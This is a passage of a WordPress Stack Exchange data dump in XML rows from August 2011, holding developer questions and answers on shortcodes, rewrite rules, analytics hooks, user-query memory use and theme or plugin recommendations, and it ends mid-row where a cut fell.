  <row Id="27193" PostTypeId="2" ParentId="27191" CreationDate="2011-08-29T12:48:06.903" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.extract.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;extract&lt;/code&gt;&lt;/a&gt; takes and associative array and explodes it out in variables that reflect the array key names.  &lt;code&gt;$atts['height']&lt;/code&gt; would just be &lt;code&gt;$height&lt;/code&gt;, in other words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant two lines of your code would become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;param name=&quot;type&quot; value=&quot;video/quicktime&quot; height=&quot;'.$height.'&quot; width=&quot;'.$width.'&quot;&amp;gt;&#xA;&amp;lt;embed src=&quot;'.$url.'&quot; height=&quot;'.$height.'&quot; width=&quot;'.$width.'&quot; autoplay=&quot;false&quot; type=&quot;video/quicktime&quot; pluginspage=&quot;http://www.apple.com/quicktime/download/&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you did still want to use the indexing, make sure you surround array keys with quotes: &lt;code&gt;$atts['height']&lt;/code&gt; not $atts[height].  Replace &lt;code&gt;extract&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$atts = shortcode_atts( array(&#xA;        'url' =&amp;gt; '#',&#xA;        'width' =&amp;gt; '480',&#xA;        'height' =&amp;gt; '320'&#xA;    ), $atts )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-29T12:48:06.903" CommentCount="1" />
  <row Id="27194" PostTypeId="1" CreationDate="2011-08-29T14:06:38.190" Score="0" ViewCount="22" Body="&lt;p&gt;I've read that the integration of plugins is quite limited on wordpress.com hosted instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to enable/use a lightbox derivitive on a wordpress.com hosted instance?&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2011-08-29T16:34:07.730" Title="Lightbox on wordpress.com hosted?" Tags="&lt;plugins&gt;&lt;wordpress.com&gt;" AnswerCount="1" />
  <row Id="27195" PostTypeId="2" ParentId="18909" CreationDate="2011-08-29T14:26:10.210" Score="0" ViewCount="" Body="&lt;p&gt;I think the best thing you could do is to take a look at others people WP plugins and themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress codex has a lot of info on developing plugins using ajax:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/AJAX_in_Plugins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the backend side of things, I think the best approach would be to use a custom post type for the portfolio items. Then, getting each item is a piece of cake using                         get_posts() or query_posts() function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some themes out there that have a portfolio system. You might check the Ozon Wordpress theme, for example. It is not free, though:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mojo-themes.com/item/ozon-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.mojo-themes.com/item/ozon-wordpress-theme/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8241" LastActivityDate="2011-08-29T14:26:10.210" />
  <row Id="27196" PostTypeId="2" ParentId="27177" CreationDate="2011-08-29T14:34:37.363" Score="2" ViewCount="" Body="&lt;p&gt;You don't need to hook into an action for a shortcode - adding the shortcode using &lt;code&gt;add_shortcode()&lt;/code&gt; will make it run when you call &lt;code&gt;the_content()&lt;/code&gt;. That said, your function for your shortcode needs to &lt;strong&gt;return&lt;/strong&gt; your output, not just echo it outright. Otherwise you will find that your form will appear much earlier than you expect it to.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-29T14:34:37.363" />
  <row Id="27197" PostTypeId="2" ParentId="26201" CreationDate="2011-08-29T15:28:29.743" Score="0" ViewCount="" Body="&lt;p&gt;There are two ways to avoid having to manually re-configure the plugin, given the scenario you describe.  Neither option is attractive.  For myself, I'd opt for option #2.  Most of the other members on WPSE seem more inclined towards option #1.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Move your development or staging database to production - and then migrate the newer content from the previous production database using wordpress export / import feature.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Examine the content of the plugins options/settings data as stored in the database.  Write a custom migration script that will &lt;br&gt;&lt;br&gt;a) &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8569/wp-insert-post-php-function-and-custom-fields/8574#8574&quot;&gt;create any necessary pages or posts, including custom fields, capturing the post_id of the newly created page&lt;/a&gt;, and then&lt;br&gt;&lt;br&gt;b) insert updated options/settings data with the newly created post_id, using plugin specific custom php or sql that you write. If the plugin's options/setting data is serialized, then the information &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6451/how-do-you-store-options-with-an-syntax-in-wp-options&quot;&gt;here&lt;/a&gt; will be useful.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-29T15:36:07.357" LastActivityDate="2011-08-29T15:36:07.357" />
  <row Id="27198" PostTypeId="2" ParentId="27165" CreationDate="2011-08-29T15:34:06.580" Score="0" ViewCount="" Body="&lt;p&gt;Not sure about the title part, but you should be able to set some defaults for images using &lt;code&gt;update_option()&lt;/code&gt;. You can try adding the following to your &lt;code&gt;functions.php&lt;/code&gt; to set the default size to large - you should be able to take it back out after it's been called once so you're not updating the option every single time something loads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option('image_default_size','large');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-29T15:34:06.580" />
  <row Id="27200" PostTypeId="2" ParentId="27187" CreationDate="2011-08-29T15:52:20.857" Score="1" ViewCount="" Body="&lt;p&gt;You don't &lt;em&gt;need&lt;/em&gt; to pick a theme ahead of time.  But when you do pick a theme, be sure it's one that follows WordPress best practices for design (i.e. uses &lt;code&gt;wp_footer()&lt;/code&gt; in the appropriate location).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all of my hosted client sites, I use a mu-plugin to add analytics.  This way, they can change their themes whenever they want without losing their analytics.  The gist of the plugin is a function and a hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function jd_analytics() {&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    var gaJsHost = ((&quot;https:&quot; == document.location.protocol) ? &quot;https://ssl.&quot; : &quot;http://www.&quot;);&#xA;    document.write(unescape(&quot;%3Cscript src='&quot; + gaJsHost + &quot;google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E&quot;));&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    try {&#xA;        var pageTracker = _gat._getTracker(&quot;UA-XXXXXXX-X&quot;);&#xA;        pageTracker._trackPageview();&#xA;    } catch(err) {}&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;add_action('wp_footer', 'jd_analytics');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So long as their theme uses &lt;code&gt;wp_footer()&lt;/code&gt;, the analytics scripts will always be added to the page.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-08-29T15:52:20.857" />
  <row Id="27201" PostTypeId="2" ParentId="27194" CreationDate="2011-08-29T16:04:50.227" Score="1" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://en.support.wordpress.com/plugins/&quot; rel=&quot;nofollow&quot;&gt;Plugins — Support — WordPress.com&lt;/a&gt; and &lt;a href=&quot;http://en.support.wordpress.com/com-vs-org/&quot; rel=&quot;nofollow&quot;&gt;WordPress.com vs. WordPress.org — Support — WordPress.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-29T16:04:50.227" CommentCount="2" />
  <row Id="27203" PostTypeId="2" ParentId="26849" CreationDate="2011-08-29T16:35:43.507" Score="0" ViewCount="" Body="&lt;p&gt;You should override the &lt;code&gt;wp_get_attachment_url()&lt;/code&gt; function instead. Here is the WP code that calls the filter on wp-includes/post.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = apply_filters( 'wp_get_attachment_url', $url, $post-&amp;gt;ID );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8241" LastActivityDate="2011-08-29T16:35:43.507" />
  <row Id="27204" PostTypeId="1" CreationDate="2011-08-29T16:46:17.167" Score="0" ViewCount="19" Body="&lt;p&gt;The answers to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/578/adding-a-taxonomy-filter-to-admin-list-for-a-custom-post-type&quot;&gt;this question&lt;/a&gt; give excellent instructions for adding filters to the admin edit.php screen for custom post types. But they don't explain how to remove the existing filters on date and category. Does anyone know whether this is possible, and if so how to do it?&lt;/p&gt;&#xA;" OwnerUserId="7381" LastActivityDate="2011-08-30T00:42:03.297" Title="Remove date and category filters when editing custom post types" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;wp-admin&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="27205" PostTypeId="2" ParentId="3331" CreationDate="2011-08-29T17:10:12.603" Score="0" ViewCount="" Body="&lt;p&gt;Did you try this? Could be useful for what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://getbutterfly.com/wordpress-plugins/fixtures-and-results/&quot; rel=&quot;nofollow&quot;&gt;http://getbutterfly.com/wordpress-plugins/fixtures-and-results/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7349" LastActivityDate="2011-08-29T17:10:12.603" />
  <row Id="27206" PostTypeId="2" ParentId="27182" CreationDate="2011-08-29T17:13:58.930" Score="3" ViewCount="" Body="&lt;p&gt;That rewrite rule won't work at all, flushed or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's two kinds of rewrite rules in WordPress. Those that have their rewrite urls start with index.php and those that don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All WordPress &lt;em&gt;internal&lt;/em&gt; rewrite rules must start with index.php. It can't redirect to anyplace else, because it's &lt;em&gt;already&lt;/em&gt; been redirected to the index.php file by the time the WordPress functions are processing the ruleset. So non-index.php rules have to go into the .htaccess directly, so that they can be redirected to anywhere other than index.php.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Those that start with index.php will be processed inside WordPress itself, and the $matches[1] syntax will be the correct one to use in that case.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Those that don't start with index.php will instead be written to the .htaccess file as direct RewriteRules. The $matches[1] syntax makes no sense in that case.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you look in your .htaccess file after using your rule, you'll find this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule continue/([0-9]+)/?$ wp-content/plugins/my-plugin/continue.php?where=$matches[1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which obviously won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, try making your code into this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule( 'continue/([0-9]+)/?$', 'wp-content/plugins/my-plugin/continue.php?where=$1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the $1 replacement instead? This will work properly when converted to a normal RewriteRule.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-29T17:13:58.930" CommentCount="1" />
  <row Id="27207" PostTypeId="1" CreationDate="2011-08-29T17:23:56.900" Score="0" ViewCount="13" Body="&lt;p&gt;I am using a theme that comes with several different font stylings for headers and text. However there is no simple way to apply these classes inside the editor. How can I enable a drop down similar to TinyMCE that allows me to select text and apply a class/style to it in order to have my marketing and sales department style their posts.&lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2011-08-29T18:48:28.540" Title="Apply Classes to post text inside editor" Tags="&lt;css&gt;&lt;editor&gt;" AnswerCount="1" />
  <row Id="27208" PostTypeId="1" CreationDate="2011-08-29T17:37:38.783" Score="0" ViewCount="17" Body="&lt;p&gt;I'm looking for a plugin that gives me some on-the-fly syntax highlighting in the HTML editor of posts and pages. I swear I've seen it somewhere, but I can't find it, all the ones I find are for showing it nicely on the front-end of the post/page to users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it's not clear, I Would like to have my HTML editor tab show me stuff like this:&#xA;&lt;a href=&quot;http://i.stack.imgur.com/wdYvr.png&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/wdYvr.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3807" LastActivityDate="2011-08-29T17:37:38.783" Title="Which plugin gives me pretty html syntax in the editor/dashboard?" Tags="&lt;plugin-recommendation&gt;&lt;syntax-highlighting&gt;" />
  <row Id="27209" PostTypeId="2" ParentId="26869" CreationDate="2011-08-29T18:20:02.603" Score="0" ViewCount="" Body="&lt;p&gt;go to the dashboard and go to permalinks, you can mess with the url structure there.&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-08-29T18:20:02.603" CommentCount="1" />
  <row Id="27210" PostTypeId="2" ParentId="27207" CreationDate="2011-08-29T18:48:28.540" Score="0" ViewCount="" Body="&lt;p&gt;If you install the plugin TinyMce Advanced you can go to the settings page and drag the styles button into the editor. This gives you the ability to add classes to inline text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;TinyMce Advanced Plugin Link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-29T18:48:28.540" />
  <row Id="27211" PostTypeId="2" ParentId="23002" CreationDate="2011-08-29T19:11:37.010" Score="1" ViewCount="" Body="&lt;p&gt;While I believe that @Pippin is absolutely correct regarding how most premium theme developers work, you should know that you can grab any open source starter theme or framework, and - as long as you respect the various component licenses - use it as a base upon which to develop a premium theme.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be seen in the comment stream in the &lt;a href=&quot;http://randyjensenonline.com/thoughts/handcrafted-wp-starter-theme/&quot; rel=&quot;nofollow&quot;&gt;handcrafted-wp theme&lt;/a&gt; where ZackLive asks &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nice theme, I'm wondering if I can create premium themes based on Handcrafted for selling, thanks &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and author Randy Jensen responds:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All the code in the theme is GPL so as long as you respect the license, yes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, what does that mean in the context of a premium theme?  Well, perhaps more of your theme's css and javascript will be subject to an open source license than might otherwise have been the case.  However, people who buy premium themes are not likely to care. And, since your theme's php code should be released under a GPL license ( &lt;em&gt;acknowledged per Envato policy , for example&lt;/em&gt; *), it's not like your selling proposition changes very much.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your images, your custom css and your custom javascript are not required to be licensed open source.  Your customers will purchase based on design, functionality fit versus their requirements, access to support and price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wp.envato.com/&quot; rel=&quot;nofollow&quot;&gt;*Envato's Official Statement on WordPress Theme Licensing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;GPL Compliant since 2009&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As the operator of the largest marketplaces for WordPress themes and plugins, Envato is proud to have been GPL compliant since 2009. All themes and plugins sold on Envato Marketplaces have GPL licensed code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-08-29T19:11:37.010" />
  <row Id="27212" PostTypeId="1" AcceptedAnswerId="27224" CreationDate="2011-08-29T19:43:35.843" Score="0" ViewCount="23" Body="&lt;p&gt;The following code is adapted from Jan Fabry's answer. &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21022/mixing-custom-post-type-and-taxonomy-rewrite-structures&quot;&gt;Mixing custom post type and taxonomy rewrite structures?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter('post_type_link', 'client_area_permalink', 10, 4);&#xA;function client_area_permalink($post_link, $post, $leavename, $sample) {&#xA;    if ( false !== strpos( $post_link, '%client_category%' ) ) {&#xA;        $glossary_letter = get_the_terms( $post-&amp;gt;ID, 'client_category' );&#xA;        $post_link = str_replace( '%client_category%', array_pop( $glossary_letter )-&amp;gt;slug, $post_link );&#xA;    }&#xA;    return $post_link;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I go to add a new post, &lt;code&gt;array_pop&lt;/code&gt; throws an error. I believe it is because there is no taxonomy associated yet with the post.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/SQkN8.png&quot; alt=&quot;array_pop error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about fixing this error? I have thought about using &lt;code&gt;get_post_permalink&lt;/code&gt; as a base  because that is where &lt;code&gt;post_type_link&lt;/code&gt; is hooked into.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditorDisplayName="" LastEditDate="2011-08-29T21:20:02.253" LastActivityDate="2011-08-29T21:36:43.567" Title="Custom Post Type and Taxonomy Rewrite Error" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="27213" PostTypeId="1" CreationDate="2011-08-29T19:52:36.483" Score="0" ViewCount="19" Body="&lt;p&gt;I am looking for a way to sell magazine subscriptions for the company I currently work for.  They publish magazines that are currently being sold through a regular shopping cart plugin for wordpress.  This does not provide any reporting for us or automatic reminders for the subscribers.  Is there such a thing that even Google has failed to inform me of?  I would prefer a Wordpress Plugin as I am much more familiar with development with this CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not looking for a membership plugin as these are a dime a dozen.&lt;/p&gt;&#xA;" OwnerUserId="8254" LastActivityDate="2011-08-30T00:52:55.220" Title="Magazine subscription sales through WP?" Tags="&lt;plugins&gt;&lt;subscription&gt;" AnswerCount="1" />
  <row Id="27214" PostTypeId="1" AcceptedAnswerId="27227" CreationDate="2011-08-29T20:43:40.157" Score="2" ViewCount="43" Body="&lt;p&gt;I'm having a small issue with one of my queries here. I cannot increase my wordpress memory limit as long as hostgator sets it to 64mb. I'm not sure if its possible to reduce the amount of memory used making some changes to my code, here is the code I'm using to query users from a specific role and displaying their name, profile and avatar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $users = get_users('role=s2member_level3'); ?&amp;gt; &#xA;&amp;lt;?php foreach ($users as $user) {&#xA;    $avatar = get_avatar($user-&amp;gt;ID, '96');&#xA;    if (get_the_author_meta('description', $user-&amp;gt;ID) == &quot;&quot; &amp;amp;&amp;amp; stristr($avatar,&quot;gravatar.com/avatar&quot;)) { continue; }&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;colaborador&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;imagem-colaborador&quot;&amp;gt;&#xA;            &amp;lt;?php if ($avatar == &quot;&quot;) { &#xA;                echo '&amp;lt;img src=&quot;http://1.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=96&quot; alt=&quot;Avatar&quot; /&amp;gt;'; &#xA;            } else { &#xA;                echo $avatar;&#xA;            } ?&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;texto-colaborador&quot;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;nome-colaborador&quot;&amp;gt;&amp;lt;?php echo $user-&amp;gt;display_name; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php the_author_meta('description', $user-&amp;gt;ID);  ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;                          &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4248" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-08-29T21:43:42.790" LastActivityDate="2011-08-29T22:09:10.730" Title="Memory usage when querying users" Tags="&lt;memory&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="27215" PostTypeId="1" CreationDate="2011-08-29T20:46:50.123" Score="0" ViewCount="25" Body="&lt;p&gt;I searched on different Marketplaces so far, but haven't found anything that wouldn't take me hours or even days to make a wordpress theme from. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Here's the list of things I need:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Slider or some photo gallery. Something fancy, eyecatching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; (Ajax?) Contact Form (minor issue - got some small plugin close to finished)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Registration/Booking&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Maybe list the already booked dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; Any other ideas what might be needed?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It can be for free or paid. Doesn't make any difference. If you know a theme or just a plugin that solves part of the issue: Tell me. Happy to upvote every single, tiny hint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you got search terms that might bring up better results on google or marketplaces, please tell me also. English is not my mother tongue.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-29T21:56:23.147" Title="Theme recommendation: Hotel/Hostel/Bed &amp; Breakfast" Tags="&lt;plugin-recommendation&gt;&lt;theme-recommendation&gt;" AnswerCount="2" />
  <row Id="27216" PostTypeId="2" ParentId="27214" CreationDate="2011-08-29T20:51:33.753" Score="1" ViewCount="" Body="&lt;h3&gt;Call author data&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You could change your multiple &lt;code&gt;get_the_author_meta()&lt;/code&gt; calls against a single &lt;code&gt;$author_data = get_userdata( $user_id );&lt;/code&gt; call. Then simply extract everything from the object like &lt;code&gt;$author_data-&amp;gt;ID;&lt;/code&gt;. This should save you some memory. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Avatar&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you leave out the avatar you will also save a lot of mem. Avatars take a long time to load and use a whole load of memory.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-29T20:51:33.753" CommentCount="11" />
  <row Id="27217" PostTypeId="1" AcceptedAnswerId="27223" CreationDate="2011-08-29T20:56:03.050" Score="0" ViewCount="23" Body="&lt;p&gt;What is the appropriate way to use jQuery toggle() function in a WordPress post to show/hide a Twitter &quot;Tweet&quot; button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I am encountering is when I put the code in my content-post.php, the toggle feature and tweet functionality only work on the first (most recent) post in the stream. How would I go about putting this in the Wordpress loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I am including this code my content-post.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!is_singular()) { require('post_buttons.php'); }?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code includes the Tweet button from another file with this toggle code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;jQuery(document).ready(function() {&#xA;    jQuery('#social_trigger').click(function() {&#xA;        jQuery('#tweet_button').toggle();&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7944" LastActivityDate="2011-08-29T21:13:02.467" Title="Using jQuery toggle() in WordPress post to show/hide Tweet button?" Tags="&lt;jquery&gt;&lt;loop&gt;&lt;twitter&gt;" AnswerCount="1" />
  <row Id="27218" PostTypeId="1" CreationDate="2011-08-29T21:00:52.123" Score="0" ViewCount="14" Body="&lt;p&gt;I'm doing a little bit of work on a theme I just inherited from another developer. The site just broke, and I'm trying to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the site here: &lt;a href=&quot;http://www.bowlingventures.com&quot; rel=&quot;nofollow&quot;&gt;www.bowlingventures.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening is this. As you can see, the home page loads unstyled. All of the images are being pushed out using &quot;bloginfo('template_directory');&quot; If you click on one of the links to another page, you'll see that that page loads correctly. Inspecting the page source, the paths to the image directory differ slightly. Both paths are output using &quot;bloginfo('template_directory');&quot; Additionally, when logged in, the home page loads just fine. How is this possible? Also, I tried adding some information to the header.php template file to be printed on every page. This information was only visible on the non-home pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heads up, the site is &lt;em&gt;slow&lt;/em&gt; &amp;nbsp;I'll be fixing that later today.&lt;/p&gt;&#xA;" OwnerUserId="2925" LastActivityDate="2011-08-29T21:09:32.287" Title="Inconsistent bloginfo information" Tags="&lt;theme-development&gt;&lt;bloginfo&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="27219" PostTypeId="2" ParentId="27215" CreationDate="2011-08-29T21:02:33.763" Score="2" ViewCount="" Body="&lt;p&gt;For 3 &amp;amp; 4, try Booking Calendar: &lt;a href=&quot;http://wordpress.org/extend/plugins/booking/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/booking/&lt;/a&gt;. I just installed it on a site and it seems to work ok on first impression. It comes with a widget that shows a little calendar that shows dates that are booked, dates that someone has requested, and open dates. It also ships with a request form. It'll send emails when a request is made and when it is accepted or cancelled. I've only done a little testing, so I cannot completely vouch for it.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-29T21:02:33.763" CommentCount="1" />
  <row Id="27220" PostTypeId="2" ParentId="27218" CreationDate="2011-08-29T21:09:32.287" Score="1" ViewCount="" Body="&lt;p&gt;First thing I noticed is that your secondary pages link to images using a URL like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.bowlingventures.com/BVc_13/wp-content/themes/bowlingventures/images/m2u.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;whereas your home page uses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.bowlingventures.com/wp-content/themes/bowlingventures/images/m2u.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure this helps, but perhaps this will help someone else figure out what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure that the home page is being loaded from WordPress?&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-29T21:09:32.287" CommentCount="7" />
  <row Id="27221" PostTypeId="2" ParentId="27097" CreationDate="2011-08-29T21:12:12.757" Score="0" ViewCount="" Body="&lt;p&gt;i found this code snippet a couple of days ago. can´t remember where...&#xA;copy this snippet in your archive template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;                $year_prev = null;&#xA;                $months = $wpdb-&amp;gt;get_results(   &quot;SELECT DISTINCT MONTH( post_date ) AS month ,&#xA;                YEAR( post_date ) AS year,&#xA;                COUNT( id ) as post_count FROM $wpdb-&amp;gt;posts&#xA;                WHERE post_status = 'publish' and post_date &amp;lt;= now( )&#xA;                and post_type = 'post'&#xA;                GROUP BY month , year&#xA;                ORDER BY post_date DESC&quot;);&#xA;                foreach($months as $month) :&#xA;                    $year_current = $month-&amp;gt;year;&#xA;                    if ($year_current != $year_prev){&#xA;                        if ($year_prev != null){?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;h3 class=&quot;archive&quot;&amp;gt;&amp;lt;?php echo $month-&amp;gt;year; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;ul class=&quot;archive-list&quot;&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url') ?&amp;gt;/&amp;lt;?php echo $month-&amp;gt;year; ?&amp;gt;/&amp;lt;?php echo date(&quot;m&quot;, mktime(0, 0, 0, $month-&amp;gt;month, 1, $month-&amp;gt;year)) ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;span 